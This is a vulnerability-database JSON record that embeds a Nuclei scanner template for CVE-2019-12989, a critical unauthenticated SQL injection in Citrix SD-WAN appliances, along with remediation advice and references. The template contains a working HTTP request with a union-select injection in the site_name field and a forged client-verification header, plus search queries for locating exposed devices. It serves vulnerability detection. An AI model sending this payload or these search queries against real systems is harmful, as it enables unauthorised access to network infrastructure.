{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2019-12989/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2019-12989/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2019-12989/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2019-12989/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2019-12989/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2019-12989"},"sightings":{"href":"/api/v1/sightings/cve-2019-12989"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2019/CVE-2019-12989.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2019-12989\n\ninfo:\n  name: Citrix SD-WAN and NetScaler SD-WAN - SQL Injection\n  author: ritikchaddha\n  severity: critical\n  description: |\n    Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 contain an SQL injection vulnerability. An unauthenticated attacker can exploit improper validation of input in specific components, which could allow for execution of arbitrary SQL queries against the backend database. This could result in information disclosure, manipulation of data, or complete compromise of affected systems.\n  impact: |\n    Successful exploitation may allow a remote unauthenticated attacker to execute SQL commands on the system, potentially resulting in unauthorized access, data leakage, modification of critical data, or full compromise of the SD-WAN appliance.\n  remediation: |\n    Apply the vendor patch: upgrade Citrix SD-WAN to version 10.2.3 or later, and NetScaler SD-WAN to version 10.0.8 or later as detailed in the official Citrix advisory.\n  reference:\n    - http://packetstormsecurity.com/files/153638/Citrix-SD-WAN-Appliance-10.2.2-Authentication-Bypass-Remote-Command-Execution.html\n    - https://support.citrix.com/article/CTX251987\n    - https://www.tenable.com/security/research/tra-2019-32\n    - https://nvd.nist.gov/vuln/detail/CVE-2019-12989\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2019-12989\n    epss-score: 0.94131\n    epss-percentile: 0.99845\n    cwe-id: CWE-89\n    cpe: cpe:2.3:a:citrix:netscaler_sd-wan:*:*:*:*:*:*:*:*\n  metadata:\n    verified: false\n    max-request: 1\n    vendor: citrix\n    product: netscaler_sd-wan\n    fofa-query: (title=\"citrix sd-wan\") && icon_hash=\"177980953\"\n    google-query: intitle:\"citrix sd-wan\"\n  tags: cve,cve2019,citrix,sqli,kev,vkev,vuln\n\nvariables:\n  num: \"999999999\"\n\nhttp:\n  - raw:\n      - |\n        POST /sdwan/nitro/v1/config/get_package_file?action=file_download HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n        SSL_CLIENT_VERIFY: SUCCESS\n\n        {\"get_package_file\": {\"site_name\": \"test' union select md5({{num}}), 'x', 'y', 'z' #\",\"appliance_type\": \"primary\",\"package_type\": \"active\"}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_all(body, \"status\\\":\\\"fail\", \"Invalid value specified\") && status_code == 400'\n          - 'contains(body, \"{{md5({{num}})}}\") && status_code == 400'\n        condition: or\n# digest: 4a0a00473045022100b4d766e7098367b073740cb2875b5344bfdb6a8fcc1d97e05ab7646df3c7d7f602205ba3e800205614b7f6ae7f8f439e38163a1f5317b5557ac8b0c43b3cc80cb881:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2019-12989"}